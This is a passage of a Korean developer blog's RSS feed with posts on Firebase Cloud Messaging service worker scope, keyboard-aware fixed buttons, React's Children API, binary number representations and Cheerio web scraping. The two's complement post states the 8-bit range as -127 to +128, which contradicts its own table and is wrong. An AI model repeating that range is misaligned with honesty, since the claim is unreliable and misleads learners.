크롬 브라우저의 Application 탭에서 service worker의 상태를 확인해보았다. </p>
<p>[ 처음 등록된 PWA 서비스 워커 상태]
<img src="https://velog.velcdn.com/images/charming-l/post/90787a69-deb3-45ca-99b1-ccc3c6b3813f/image.png" alt=""></p>
<p>[ <code>getToken()</code>  호출시 서비스 워커 상태]</p>
<p><img src="https://velog.velcdn.com/images/charming-l/post/6722c60b-5ed2-4ee1-9e2a-bda3abdc30ff/image.png" alt=""></p>
<p>어라 서비스 워커가 추가로 활성화된다? (<del>분명 서비스 워커는 하나만 등록된다 그랬는데..처음 등록된 PWA 서비스 워커도 활성화 상태로 나타난다. 이건 다른 개념인건가..?</del>) 
알고보니 위에 각 워커 상태 상단에 나오는 <code>https://localhost:3000/firebase-cloud-messaging-push-scope</code>, <code>http://localhost:3000/</code> 가 워커의 적용 범위를 말하는 것이었다. 추가적으로 각 범위당 하나의 서비스워커만 가능하다는 것을 보면 아마 둘의 범위가 달라서 추가로 워커가 활성화될 수 있었던 것 같다. <a href="https://web.dev/learn/pwa/service-workers?hl=ko#scope">web.dev 서비스워커</a> </p>
<br />

<p>일단 여기에서 내가 기존에 등록한 적 없는 <code>firebase-cloud-messaging-push-scope</code> 범위에서 새로운 서비스워커가 돌아가고 있다. 
(소스가 <code>firebase-messaging-sw.js</code>인걸 보아하니 import 해뒀던 firebase 관련 스크립트에서 등록을 해주는것 같다) 
아무래도 저 워커가 먼저 설치 되어있어야 토큰을 정상적으로 가져올 수 있는건가?</p>
<blockquote>
<p>즉 내가 이해한 실행 순서는 이와 같다.
-&gt; <code>src/</code> 내 파일에서 <code>getToken()</code> 실행 
-&gt; 자동으로 <code>firebase-messaging-sw.js</code> 호출 및 실행
-&gt; <code>firebase-cloud-messaging-push-scope</code> 범위의 서비스 워커 활성화</p>
</blockquote>
<blockquote>
<p>여기서 문제는 위 워커가 먼저 활성화되어있어야 <code>getToken()</code>을 통해 토큰이 정상적으로 가져와지는데, <code>getToken()</code>을 호출 했을때에만 저 워커가 설치-활성화된다는 그런 역설이...(?) <del>(이게 과연 맞는 소리인지는 나도 모른다)</del></p>
</blockquote>
<br />

<h3 id="시도-1-❌">시도 1 ❌</h3>
<p>기존 <code>pwabuilder-sw.js</code>의 내용들을 <code>firebase-messaging-sw.js</code> 로 합쳐서 먼저 실행해보기로 했다.</p>
<p>워커의 소스만 동일해질 뿐 에러 메시지는 그대로였다. </p>
<p>[워커 상태]
<img src="https://velog.velcdn.com/images/charming-l/post/d08704bd-8fa9-4c4c-98e5-666796ab3822/image.png" alt=""></p>
<br />

<h3 id="시도-2-⭕️">시도 2 ⭕️</h3>
<p>그러면 service worker의 적용 범위를 맞춰보자.
<code>firebase-messaging-sw.js</code>의 범위를 내가 바꿀 수는 없으니,
<code>pwabuilder-sw.js</code>의 적용 범위를 바꿔보기로 했다.</p>
<pre><code class="language-js">if (&quot;serviceWorker&quot; in navigator) {

          let registration = await navigator.serviceWorker.getRegistration();
          if (!registration) {
            registration = await navigator.serviceWorker.register(
              &quot;./pwabuilder-sw.js&quot;,
              { scope: &quot;/firebase-cloud-messaging-push-scope&quot; }, // 이 부분을 추가
            );
      }
}</code></pre>
<p><img src="https://velog.velcdn.com/images/charming-l/post/770f72ee-87d1-471b-bf2a-8432559587c6/image.gif" alt=""></p>
<p>같은 범위에서 워커 파일이 추가로 생성되다 보니 아까처럼 두개의 워커가 돌아가는게 아니라, 기존의 워커가 삭제되고 <code>firebase-messaging-sw.js</code> 에서 등록하는 워커로 업데이트(설치)되면서 토큰이 받아와진다!!! 와!!@!</p>
<p>혹시 기존의 pwa 관련 워커가 삭제되면서 제대로 동작하지 않는 부분이 생길까 했지만, 이미 백그라운드에 캐시된 내용과 <code>firebase-messaging-sw.js</code> 을 통해 등록된 워커의 내용이 달라서 그런지 큰 문제는 없는 것 같았다. (<code>pwabuilder-sw.js</code>에 오프라인일 경우 미리 준비한 html이 뜨도록 설정해두었는데, 활성화된 워커가 변경된 이후에도 잘 떴기에)</p>
<h1 id="✏️-주저리">✏️ 주저리</h1>
<p>이미 기존에 워커(pwabuilder-sw)가 이미 정상적으로 실행중이기에 새로 설치해야하는 워커(fcm-sw) 활성화되는 시간을 고려하지 않고 토큰을 받아오려 하는건가? 따라서 같은 범위에서 워커가 이미 실행중일 땐, 이를 완전히 대체하기 위해서라도 설치-활성화 단계를 더 기다려주는 것이고?</p>
<p>해결하기는 했지만 사실 아직 정확한 원인은 파악하지 못해서 다소 찜찜한 느낌이다. 하지만 관련 이슈도 아직 오픈되어 있는 이유가 있을 것...
(편법이 싫어 따로 방법을 알아본 거지만, 이것도 편법일지도 모르겠다)</p>
<p>그래도 일단은 토큰을 잘 받아온 것에 만족하며,,
이후에 또 문제 생기면 적으러 와야겠다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[웹앱에서 키보드 위로 버튼 고정하기]]></title>
            <link>https://velog.io/@charming-l/%EC%9B%B9%EC%95%B1%EC%97%90%EC%84%9C-%ED%82%A4%EB%B3%B4%EB%93%9C-%EC%9C%84%EB%A1%9C-%EB%B2%84%ED%8A%BC-%EA%B3%A0%EC%A0%95%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@charming-l/%EC%9B%B9%EC%95%B1%EC%97%90%EC%84%9C-%ED%82%A4%EB%B3%B4%EB%93%9C-%EC%9C%84%EB%A1%9C-%EB%B2%84%ED%8A%BC-%EA%B3%A0%EC%A0%95%ED%95%98%EA%B8%B0</guid>
            <pubDate>Wed, 15 May 2024 17:56:28 GMT</pubDate>
            <description><![CDATA[<p> 지역 어르신들을 대상으로 하는 시간 은행 개념의 PWA 앱을 개발중이었다. 
 실제 동주민센터를 방문하여 받은 피드백 중, </p>
<blockquote>
<p>&quot;하단에 고정된 버튼이 키보드가 올라오면 보이지 않아 불편해요&quot;</p>
</blockquote>
<p>라는 게 있었다. 디자이너분께서 강력하게 이 부분이 개선되었으면 한다고 말씀하셔서 한번 해볼게요를 당차게 외치고 나왔다.</p>
<h1 id="💡-resize-event란">💡 resize event란?</h1>
<p>윈도우의 <code>viewport</code>의 변경을 감지하는 <code>resize</code> 이벤트라는게 있다.
내가 이미 구현해둔 하단 고정 버튼과 input을 통해 구체적으로 알아보기로 했다.</p>
<p><code>resize</code> 이벤트 출력해보기</p>
<pre><code class="language-ts">  useEffect(() =&gt; {
    const resizeHandler = (event: Event) =&gt; console.log(event);
    visualViewport &amp;&amp; visualViewport.addEventListener(&quot;resize&quot;, resizeHandler);

    return () =&gt; visualViewport?.removeEventListener(&quot;resize&quot;, resizeHandler);
  }, []);</code></pre>
<ul>
<li><code>input</code>에 포커싱 되었을 때 == 키보드 올라오면서 사용자 <code>viewport</code> 높이가 감소</li>
<li><code>resize event</code>의 <code>currentTarget</code>의 <code>height</code>이 430.xxx이다<table>
<tr><td width="70%">
<img width=100% src=https://velog.velcdn.com/images/charming-l/post/a72a77ac-0bab-4450-a1f7-04c47404715a/image.png /></td>
  <td width="30%">
<img src=https://velog.velcdn.com/images/charming-l/post/b6ff6d31-2ccf-4c5a-9aaa-db5792c99b84/image.png />
  </td>
</tr>
</table>

</li>
</ul>
<br/>

<ul>
<li><code>input</code>에 포커싱 해제 == 키보드가 내려가면서 사용자 <code>viewport</code> 높이 증가</li>
<li><code>resize event</code>의 <code>currentTarget</code>의 <code>height</code>이 704이다</li>
</ul>
<table>
  <tr><td width="70%">
<img width=100% src=https://velog.velcdn.com/images/charming-l/post/e3e9c8cb-e77a-4889-a37a-9c2b9e12c129/image.png
 /></td>
    <td width="30%">
  <img src=https://velog.velcdn.com/images/charming-l/post/34a50e06-eddb-46d3-b380-019e2dded865/image.png />
   </td>
  </tr>
</table>




<h1 id="🎯-구현하기">🎯 구현하기</h1>
<p>그러면? 기존 <code>viewport</code>의 높이에서 이 <code>resize event</code>에 담긴 변화한 <code>viewport</code>의 높이의 차이 만큼 버튼의 위치를 올려주면 되겠다! </p>
<ul>
<li><p><code>resize event</code>에 감지된 <code>viewport</code> 높이 변화와 
변치 않는 <code>window.innerHeight</code> 를 한 눈에 확인해보면 다음과 같다 
(<code>window.innerHeight</code> 당첨)</p>
<img width=500 src=https://velog.velcdn.com/images/charming-l/post/138405c6-248b-4b70-b6c8-2fe8247765d0/image.png />
</li>
<li><p>window.innerHeight의 값과 resize event에 담긴 viewport의 차이를 가지고 있는 상태 변수를 선언 후 버튼 스타일링 속성으로 부여해줬다</p>
</li>
</ul>
<pre><code class="language-js">export const BottomFixedButton = () =&gt; {
  const [resizeHeight, setResizeHeight] = useState&lt;number&gt;(0);

  // event listener 연결
  useEffect(() =&gt; {
    const resizeHandler = (event: Event) =&gt; setResizeHeight(
        window.innerHeight - (event.currentTarget as VisualViewport)?.height,
      );
    visualViewport &amp;&amp; visualViewport.addEventListener(&quot;resize&quot;, resizeHandler);

    return () =&gt; visualViewport?.removeEventListener(&quot;resize&quot;, resizeHandler);
  }, []);

  // calc를 활용해 값을 유동적으로 변경
  ...
  &lt;Button
      style={{
             bottom: `calc(2.2rem + ${resizeHeight}px)`,
          }}
      &gt;
      {children}
  &lt;/Button&gt;
}</code></pre>
<h1 id="👀-결과">👀 결과</h1>
<p>성공! 이제 실제 기기로 테스트 해봐야지,,,</p>
<p align=center>
<img width="50%" src=https://velog.velcdn.com/images/charming-l/post/32c6672b-0549-412d-9d39-5d2ce235f399/image.gif />
</p>


<h1 id="📕-reference">📕 Reference</h1>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/VisualViewport/resize_event">MDN resize event</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Children API 활용하여 자식 Element 제어]]></title>
            <link>https://velog.io/@charming-l/%EC%9E%90%EC%8B%9D-%EB%B0%B0%EC%97%B4-%EC%82%AC%EC%9D%B4%EC%97%90-divider-%EC%B6%94%EA%B0%80</link>
            <guid>https://velog.io/@charming-l/%EC%9E%90%EC%8B%9D-%EB%B0%B0%EC%97%B4-%EC%82%AC%EC%9D%B4%EC%97%90-divider-%EC%B6%94%EA%B0%80</guid>
            <pubDate>Thu, 09 May 2024 10:44:36 GMT</pubDate>
            <description><![CDATA[<img src=https://velog.velcdn.com/images/charming-l/post/f44d29f8-612c-4056-a3c7-21ca2de06e83/image.png />

<h3 id="children-활용하여-자식-사이에-divider-추가">Children 활용하여 자식 사이에 Divider 추가</h3>
<p>DropDownMenu내 각 메뉴들 사이에 구분선을 넣어야 한다. 내가 작성한 DropDownMenu 메뉴 구조는 다음과 같다.</p>
<pre><code class="language-tsx">// DropDownMenu 정의 부분
export const DropDownMenu = ({ children }: PropsWithChildren) =&gt; {
  return (
    &lt;Container&gt;{children}&lt;/Container&gt;
  );
};

const MenuItem = ({
  children,
  ...props
}: ButtonHTMLAttributes&lt;HTMLButtonElement&gt;) =&gt; {
  return &lt;MenuItemWrapper {...props}&gt;{children}&lt;/MenuItemWrapper&gt;;
};


DropDownMenu.MenuItem = MenuItem;</code></pre>
<p>그리고 이를 참조하는 상위 컴포넌트에서는 DropDownMenu의 Item에 해당하는 버튼의 props를 정의해서 사용한다.</p>
<pre><code class="language-tsx">// DropDownMenu를 사용하는 상위 컴포넌트
&lt;MypageListProfile&gt;
  ...
  &lt;DropDownMenu&gt;
    &lt;DropDownMenu.MenuItem onClick={() =&gt; signOut()}&gt;로그아웃&lt;/DropDownMenu.MenuItem&gt;
    &lt;DropDownMenu.MenuItem onClick={() =&gt; withdrawal()}&gt;회원탈퇴&lt;/DropDownMenu.MenuItem&gt;
  &lt;/DropDownMenu&gt;
  ...
&lt;/MypageListProfile&gt;</code></pre>
<p>
<img src="https://velog.velcdn.com/images/charming-l/post/5c2a1f26-0bc0-4891-ae0f-13db4967db3b/image.png" width=200 />
</p>

<p>일일이 상위 컴포넌트에서 divider 컴포넌트를 정의해서 사용하는 방식은 귀찮고, 이후에 divider에 대한 스타일 변경이 존재했을 때 일일이 바꿔줘야 하는 번거로움이 있어 <code>DropDownMenu</code> 내부에서 공통으로 처리해주는 게 낫다고 판단했다.</p>
<p><em>&quot;0번째를 제외한 인덱스의 MenuItem 컴포넌트 위에 divider가 들어가면 된다&quot;</em>
라는 점을 이용하여  <strong><code>Children API</code></strong> 를 활용해보기로 했다.</p>
<br />

<p><strong><code>Children</code></strong>은 우리에게 익숙한 <code>children</code> props로 넘어오는 jsx 컴포넌트들을 제대로 활용하기 위해 제공되는 api라고 한다
그동안 children props를 받아 원하는 곳에 바로 렌더링만 해봤는데, 이번 기회에 써보기로~</p>
<h1 id="children-api">Children API</h1>
<p><code>Children.</code> 치면 나오는 함수들은 다음과 같다.
<img src=https://velog.velcdn.com/images/charming-l/post/935f2afb-1d2f-4f53-bdf2-4038ef1ba4e0/image.png width=500 /></p>
<p><code>count</code> / <code>forEach</code> / <code>map</code> / <code>toArray</code> 모두 익숙한 이름이다</p>
<ul>
<li><code>count</code>는 자식 수를 세어 알려주는 함수</li>
<li><code>forEach</code>와 <code>map</code>은 자식을 조회해가며 작업을 할 수 있도록 하는 함수</li>
<li><code>toArray</code>는 자식 요소들에 필터링이나 정렬과 같은 작업을 취할 수 있도록 자식을 배열로 받는 함수</li>
</ul>
<p>일 것이다! 맞네~
<br /></p>
<p>그렇다면 <code>only</code>는?
자식이 하나의 React Element만 가지는지를 확인하고
맞다면 해당 컴포넌트를, 그 외의 경우에는 <code>Error</code>를 반환하는 함수라고 한다.
<br /></p>
<p>이중에서 내가 사용할 건 <code>map</code>!
사용법은 간단하다.
첫번째 인자로 전달받은 자식 <code>children props</code>을 넣어주고, 
두번째 인자로 <code>Array.map(callback)</code>의 callback 그대로 넣어주면 된다!</p>
<pre><code class="language-js">&lt;&gt;
    {Children.map(children, callback)}
&lt;/&gt;</code></pre>
<p>이제 이를 활용하여 구분선을 넣어보자.
map의 callback은 조회하면서 원소 뿐 아니라 해당 원소의 인덱스와 기존 배열 정보도 함께 얻어올 수 있다. 
<code>map(ele, (ele, idx, arr)=&gt;{})</code></p>
<p>나는 자식의 인덱스를 활용하여, 첫번째를 제외한 컴포넌트 상단에 <code>Divider</code> 컴포넌트를 추가로 렌더링하도록 작성했다.!</p>
<pre><code class="language-tsx">
export const DropDownMenu = ({ children }: PropsWithChildren) =&gt; {
  return (
    &lt;Container&gt;
      {Children.map(children, (child, i) =&gt; (
        &lt;&gt;
          {i !== 0 &amp;&amp; &lt;Divider /&gt;}
          {child}
        &lt;/&gt;
      ))}
    &lt;/Container&gt;
  );
};</code></pre>
<p>해결! 
<img
src="https://velog.velcdn.com/images/charming-l/post/fec1dd4d-d201-4785-9de0-34226e27537b/image.png" width=200 /></p>
<br />

<h1 id="참고">참고</h1>
<ul>
<li><a href="https://react.dev/reference/react/Children">공식문서-Children</a></li>
</ul>
<br />

<h1 id="느낀점">느낀점</h1>
<p> 사실 오늘 한 작업은 <code>styled-components</code>내 <code>CSS</code> 만으로도 충분히 구현할 수 있는 스타일링이었다.
참고)</p>
<pre><code class="language-css">/* DropDownMenu를 감싸고 있는 Container 내 */
&amp; &gt; button {
    border-top: 2px solid orange;
}
&amp; &gt; button:first-child {
    border: 0;
}</code></pre>
<p> 개인적으로 스타일링에 JS로 제어하기 보다 웬만하면 CSS로 구현하는게 좋다고도 생각하지만 
 Children API를 한번도 써본 적이 없어 작성해본 포스팅..! 
 이젠 children도 효율적으로 사용하고 싶을 때 잘 활용하면 좋을 것 같다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[2진수 표현 방식(부호화 절댓값, 1의 보수, 2의 보수)]]></title>
            <link>https://velog.io/@charming-l/2%EC%A7%84%EC%88%98-%ED%91%9C%ED%98%84-%EB%B0%A9%EC%8B%9D%EB%B6%80%ED%98%B8%ED%99%94-%EC%A0%88%EB%8C%93%EA%B0%92-1%EC%9D%98-%EB%B3%B4%EC%88%98-2%EC%9D%98-%EB%B3%B4%EC%88%98</link>
            <guid>https://velog.io/@charming-l/2%EC%A7%84%EC%88%98-%ED%91%9C%ED%98%84-%EB%B0%A9%EC%8B%9D%EB%B6%80%ED%98%B8%ED%99%94-%EC%A0%88%EB%8C%93%EA%B0%92-1%EC%9D%98-%EB%B3%B4%EC%88%98-2%EC%9D%98-%EB%B3%B4%EC%88%98</guid>
            <pubDate>Tue, 23 Apr 2024 05:11:48 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/charming-l/post/4ee375eb-d33f-4784-b3cd-4032707778ed/image.png" alt=""></p>
<p>컴퓨터는 0과 1만으로 모든 수 연산을 해야하므로 최대한 효율적인 수 표현방식을 갖고자 한다.</p>
<p>2진수 정수를 표현하는 방법에는 다음과 같은 세가지 방법이 있다. </p>
<p>1) 부호화 절댓값<br>2) 1의 보수 
3) 2의보수</p>
<hr>
<h1 id="1-부호화-절댓값">1) 부호화 절댓값</h1>
<p>최상단 비트(MSB)만으로 부호를 표현하는 방식.
양수는 MSB가 0, 음수는 1로 표현한다.</p>
<p><strong>양수(+) 표현</strong></p>
<table>
<thead>
<tr>
<th align="center">십진수</th>
<th align="center">+0</th>
<th align="center">+1</th>
<th align="center">+2</th>
<th align="center">...</th>
<th align="center">+127</th>
</tr>
</thead>
<tbody><tr>
<td align="center">비트</td>
<td align="center">0000 0000</td>
<td align="center">0000 0001</td>
<td align="center">0000 0010</td>
<td align="center">...</td>
<td align="center">0111 1111</td>
</tr>
<tr>
<td align="center"><strong>음수(-) 표현</strong></td>
<td align="center"></td>
<td align="center"></td>
<td align="center"></td>
<td align="center"></td>
<td align="center"></td>
</tr>
</tbody></table>
<table>
<thead>
<tr>
<th align="center">십진수</th>
<th align="center">-0</th>
<th align="center">-1</th>
<th align="center">-2</th>
<th align="center">...</th>
<th align="center">-127</th>
</tr>
</thead>
<tbody><tr>
<td align="center">비트</td>
<td align="center">1000 0000</td>
<td align="center">1000 0001</td>
<td align="center">1000 0010</td>
<td align="center">...</td>
<td align="center">1111 1111</td>
</tr>
</tbody></table>
<blockquote>
<p><strong>0이 +0과 -0으로 나누어 표현된다</strong>
 최상단 비트를 부호로 사용하기 때문에 7개의 비트만으로 수를 표현해야한다.
 즉 표현할 수 있는 수는   <strong>-127~+127</strong></p>
</blockquote>
<hr>
<h1 id="2-1의-보수">2) 1의 보수</h1>
<p><del>의미상으로는 1111 1111로 채워진 비트에서 해당 비트를 빼는 것에 가깝지만,</del>
<strong>쉽게 말해 모든 비트를 반전함으로써 음수를 표현하는 방식</strong>
부호화 절댓값은 음수 표현시에 MSB만 반전시켰다면, 
1의 보수는 모든 비트를 반전시키는데에 차이가 있다.</p>
<p><strong>양수(+) 표현</strong></p>
<table>
<thead>
<tr>
<th align="center">십진수</th>
<th align="center">+0</th>
<th align="center">+1</th>
<th align="center">+2</th>
<th align="center">...</th>
<th align="center">+127</th>
</tr>
</thead>
<tbody><tr>
<td align="center">비트</td>
<td align="center">0000 0000</td>
<td align="center">0000 0001</td>
<td align="center">0000 0010</td>
<td align="center">...</td>
<td align="center">0111 1111</td>
</tr>
</tbody></table>
<p><strong>음수(-) 표현</strong>
위의 양수의 비트를 모두 반전 시킨 값과 같다.</p>
<table>
<thead>
<tr>
<th align="center">십진수</th>
<th align="center">-0</th>
<th align="center">-1</th>
<th align="center">-2</th>
<th align="center">...</th>
<th align="center">-127</th>
</tr>
</thead>
<tbody><tr>
<td align="center">비트</td>
<td align="center">1111 1111</td>
<td align="center">1111 1110</td>
<td align="center">1111 1101</td>
<td align="center">...</td>
<td align="center">1000 0000</td>
</tr>
</tbody></table>
<blockquote>
<p><strong>0이 +0과 -0으로 나누어 표현된다.</strong>
즉 표현할 수 있는 수는     <strong>-127~+127</strong></p>
</blockquote>
<hr>
<h1 id="3-2의-보수">3) 2의 보수</h1>
<p>2의 보수체계에서 <strong>음수를 표현할 때 1의 보수에 1을 더하는 방식</strong></p>
<blockquote>
<p>1의 보수 == 모든 비트 반전, 
2의 보수 == 모든 비트 반전 + 1</p>
</blockquote>
<p><strong>양수(+) 표현</strong></p>
<table>
<thead>
<tr>
<th align="center">십진수</th>
<th align="center">+0</th>
<th align="center">+1</th>
<th align="center">+2</th>
<th align="center">...</th>
<th align="center">+127</th>
</tr>
</thead>
<tbody><tr>
<td align="center">비트</td>
<td align="center">0000 0000</td>
<td align="center">0000 0001</td>
<td align="center">0000 0010</td>
<td align="center">...</td>
<td align="center">0111 1111</td>
</tr>
</tbody></table>
<p><strong>음수(-) 표현</strong>
위의 양수의 비트를 모두 반전 시킨 값과 같다.</p>
<table>
<thead>
<tr>
<th align="center">십진수</th>
<th align="center">-0</th>
<th align="center">-1</th>
<th align="center">-2</th>
<th align="center">...</th>
<th align="center">-127</th>
<th align="center">-128</th>
</tr>
</thead>
<tbody><tr>
<td align="center">비트</td>
<td align="center">0000 0000</td>
<td align="center">1111 1111</td>
<td align="center">1111 1110</td>
<td align="center">...</td>
<td align="center">1000 0001</td>
<td align="center">1000 0000</td>
</tr>
</tbody></table>
<blockquote>
<p><strong>0이 0000 0000 (2) 하나로 표현된다.</strong></p>
</blockquote>
<pre><code class="language-js">앞서 언급한 부호화 절댓값, 1의 보수에서 0이
0000 0000 (2) 
1111 1111 (2)
이 두가지로 표현되던 방식과 달리, 
2의 보수에서는 1의 보수의 0 표현방식인 1111 1111에 1을 더한 
1 0000 0000(2)을 -0으로 사용하게 된다.
하지만 8비트만으로 수를 표현해야하는 상황이므로 넘어간 1은 버려버리고, 
0000 0000(2) 하나만으로 0을 표현할 수 있게 되는 것이다.</code></pre>
<blockquote>
<p>즉 표현할 수 있는 수는 <strong>-127~+128</strong>
지금까지 나온 방식 중에 가장 넓은 범위의 수를 표현할 수 있다. 
따라서 컴퓨터는 음수를 표현할 때 이와 같은 2의 보수 개념을 사용하고 있다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Cheerio로 웹 스크래핑 맛보기(vite, react)]]></title>
            <link>https://velog.io/@charming-l/Cheerio%EB%A1%9C-%EC%9B%B9-%EC%8A%A4%ED%81%AC%EB%9E%98%ED%95%91-%EB%A7%9B%EB%B3%B4%EA%B8%B0vite-react</link>
            <guid>https://velog.io/@charming-l/Cheerio%EB%A1%9C-%EC%9B%B9-%EC%8A%A4%ED%81%AC%EB%9E%98%ED%95%91-%EB%A7%9B%EB%B3%B4%EA%B8%B0vite-react</guid>
            <pubDate>Sun, 03 Mar 2024 13:28:12 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/charming-l/post/8aebdd95-b4bc-4fe4-83a4-79ffd40e429a/image.png" alt="">
<img src="https://velog.velcdn.com/images/charming-l/post/7fd55fa0-b458-49ce-a081-0be1f5088077/image.png" alt=""></p>
<h1 id="📄-배경">📄 배경</h1>
<p>요즘 진행하는 새로운 프로젝트팀 기획자님께서 <strong>책의 출판사 서평을 가져올 수 있는지</strong>를 물어보셨다. 책 관련 open api 대부분은 출판사 서평까지는 제공하지는 않았다. yes24에 출판사 서평이 기재되어있는데, 간단한 웹 스크래핑으로 가져오면 되지 않을까 해서 찍먹해보기로 결정</p>
<p>다른 프로젝트 데모를 만들다가 만 상태의 <code>vite</code> 기반의 <code>react</code> 프로젝트 내용을 싹 비우고, 
바로 구현!</p>
<h1 id="🔍-발견">🔍 발견</h1>
<p>대부분 웹 크롤링/스크래핑 하면 파이썬으로 많이 진행하는데, 너무 거창해지는가 싶어 js로도 진행 후 바로 활용할 수 없는지 알아보았고 그러다 발견한 것이 다음의 두가지 도구였다.</p>
<ul>
<li><code>cheerio</code> </li>
<li><code>puppeteer</code></li>
</ul>
<p><code>cheerio</code>는 <strong>정적인 사이트</strong> 내에 정보들을 <code>html</code> 형태로 긁어와 원하는 정보만을 파싱할 수 있고, <code>puppeteer</code>는 테스트할 때에도 쓰이는 툴로, 우리가 원하는 결과에 도달하기 전까지 웹 사이트와 <strong>상호작용</strong>을 할 수 있도록 도와주는 도구이다.
(puppeteer는 playwright와 유사한 듯) </p>
<h3 id="시도-1-puppeteer-활용-❌---실패">시도 1) <code>puppeteer</code> 활용 ❌ - 실패</h3>
<p>내가 지금 하고자 하는 시나리오는 다음과 같았다.</p>
<ol>
<li>yes24 공식 페이지에 접속</li>
<li>검색창에 알고자하는 책의 제목을 입력후</li>
<li>검색 버튼 클릭</li>
<li>나온 리스트의 결과 중 첫번째 게시글 클릭</li>
<li>출판사 서평 부분을 스크랩</li>
</ol>
<p>이 시나리오 대로 <code>puppeteer</code>를 활용하여 진행하다가 4번까지는 어찌저찌 해냈지만, 5번에서 어째선지 출판사의 서평부분의 selector를 제대로 가져오지 못하는 문제가 있었다. 분명히 inspector를 통해 몇번이고 확인도 해보고 각 액션간의 delay도 사이사이에 잘 넣어줬다고 생각했지만 제대로 가져올 수 없었고, 다른 방법을 찾아보기로 했다.</p>
<br />

<h3 id="시도-2-cheerio-활용-⭕️---성공">시도 2) <code>cheerio</code> 활용 ⭕️ - 성공</h3>
<blockquote>
</blockquote>
<ul>
<li>게시글 목록 -&gt; 게시글 상세 페이지 (<em>i want this✨</em>)</li>
<li>게시글 상세 페이지는 <code>게시글 id</code>를 필요로 한다. (어디에서 얻을 수 있나? 게시글 목록에서!)</li>
<li>then, 
  1) <code>cheerio</code> 활용 ➡️ 게시글 목록 접근하기 + <code>게시글 id</code> 가져오기 
  2) <code>cheerio</code> 활용 ➡️ <code>게시글 id</code>를 토대로 상세 페이지 재접근 + <code>출판사 서평</code> 가져오기</li>
</ul>
<p>최종 목표는 내가 검색한 책의 게시글 상세 페이지(출판사 서평이 있는)에 접근하는 것이다.
yes24에서 검색어 입력시 나오는 리스트에서 각 상품 item들은 <code>id</code>를 가지고 있어, 
클릭하게 되면 <code>path variable</code>로 <code>id</code>를 함께 넘기며 상세 페이지의 내용을 렌더링한다. 
따라서 상세 페이지의 url을 확인해보면 상품의 id를 확인할 수 있다.</p>
<blockquote>
<p>e.g.
<code>https://m.yes24.com/Goods/Detail/2943352</code>
// 뒤의 2943352가 &#39;소원을 들어주는 카드&#39;라는 책의 <code>id</code></p>
</blockquote>
<br />

<p>따라서 검색목록으로 부터 이 아이디를 얻어와야한다. 
<code>cheerio</code>는 앞서 언급했듯이 url로 접근한 <strong>정적 페이지</strong>의 html을 끌어오는 것으로, 책제목을 타이핑하는 상호작용을 할 수 없어 바로 검색결과 url을 가져와야한다. 
검색의 경우 queryString으로 넘겨주는 모습이다.</p>
<blockquote>
<p>e.g.
<code>https://www.yes24.com/Product/Search?domain=ALL&amp;query=%EC%86%8C%EC%9B%90%EC%9D%84%20%EB%93%A4%EC%96%B4%EC%A3%BC%EB%8A%94%20%EC%B9%B4%EB%93%9C</code>
// 위의 query= 이후의 값은 책의 제목의 URL 인코딩 값</p>
</blockquote>
<br />

<p>yes24의 경우 정확도보다 인기순으로 책을 추천하여 내가 입력한 책과 다른 책이 상위에 뜨기도 한다. 도서로 카테고리를 한정하고 정확도를 높이기 위해 <code>도서명</code>과 <code>정확도순</code> 필터링의 값도 함께 넘겨주기로 했다!</p>
<blockquote>
<p>e.g. 
<code>https://www.yes24.com/Product/Search?domain=ALL&amp;query=%EC%86%8C%EC%9B%90%EC%9D%84%20%EB%93%A4%EC%96%B4%EC%A3%BC%EB%8A%94%20%EC%B9%B4%EB%93%9C&amp;page=1&amp;order=RELATION&amp;_searchTarget=TITLE</code>
// &amp;로 연결된 키(<code>order</code>, <code>_searchTarget</code>)들은 필터링 키</p>
</blockquote>
<br />

<h1 id="🎯-구현">🎯 구현</h1>
<p>내가 작성할 데모 프로젝트의 디렉토리 구조는 다음과 같다. 
빠르게 제작하기 위해<code>src</code> 에 모든 파일 작성했다</p>
<blockquote>
<pre><code>📦 scraping-demo
├─ src
│  ├─ App.css
│  ├─ App.tsx
│  ├─ SearchForm.tsx     // 추가
│  ├─ api.ts            // 추가
│  ├─ index.css
│  ├─ main.tsx
│  └─ vite-env.d.ts
├─ tsconfig.json
├─ tsconfig.node.json
└─ vite.config.ts      // 변경</code></pre></blockquote>
<pre><code>
&lt;br /&gt;

1) **`SearchForm.tsx`제작**
SearchForm 컴포넌트는 간단하게 출판사 서평을 얻어올 책의 제목을 입력 받는다. 
제목 입력 후 enter를 치거나 Search 버튼을 클릭하면, 부모로부터 받은 getData 함수를 실행한다.

```tsx
// SearchForm.tsx
import { useState, KeyboardEvent, ChangeEvent } from &quot;react&quot;;

// 키워드를 입력받는 컴포넌트
const SearchForm = (props: { getData: any }) =&gt; {
  const { getData } = props;
  const [keyword, setKeyword] = useState(&quot;&quot;);
  return (
    &lt;div className=&quot;form&quot;&gt;
      &lt;input
        type=&quot;text&quot;
        className=&quot;form-text&quot;
        onChange={(e: ChangeEvent&lt;HTMLInputElement&gt;) =&gt; {
          setKeyword(e.target.value);
        }}
        onKeyDown={(e: KeyboardEvent&lt;HTMLInputElement&gt;) =&gt; {
          if (e.key === &quot;Enter&quot;) {
            if (keyword) {
              getData(keyword);
            }
          }
        }}
      /&gt;
      &lt;button
        type=&quot;button&quot;
        className=&quot;form-btn&quot;
        onClick={() =&gt; {
          if (keyword) {
            getData(keyword);
          }
        }}
      &gt;
        search
      &lt;/button&gt;
    &lt;/div&gt;
  );
};

export default SearchForm;
</code></pre><img src=https://velog.velcdn.com/images/charming-l/post/b0ad388a-cf4b-4cfc-be7a-e1f45394e6ab/image.png width=400/>

<br />
<br />

<p><strong>2) <code>App.tsx</code> 작성</strong>
 App 컴포넌트에는 책의 정보가 담긴 페이지에 접근하여 화면에 렌더링하는 역할을 부여했다.
<code>axios</code>의 <code>get</code> 요청은 응답으로 <code>data</code> 속성에는 해당 페이지(<code>.html</code>)이 <span style="color:red">문자열의 형태로 전달</span>된다. </p>
<blockquote>
<p><strong>GET response type</strong></p>
<blockquote>
<p>{
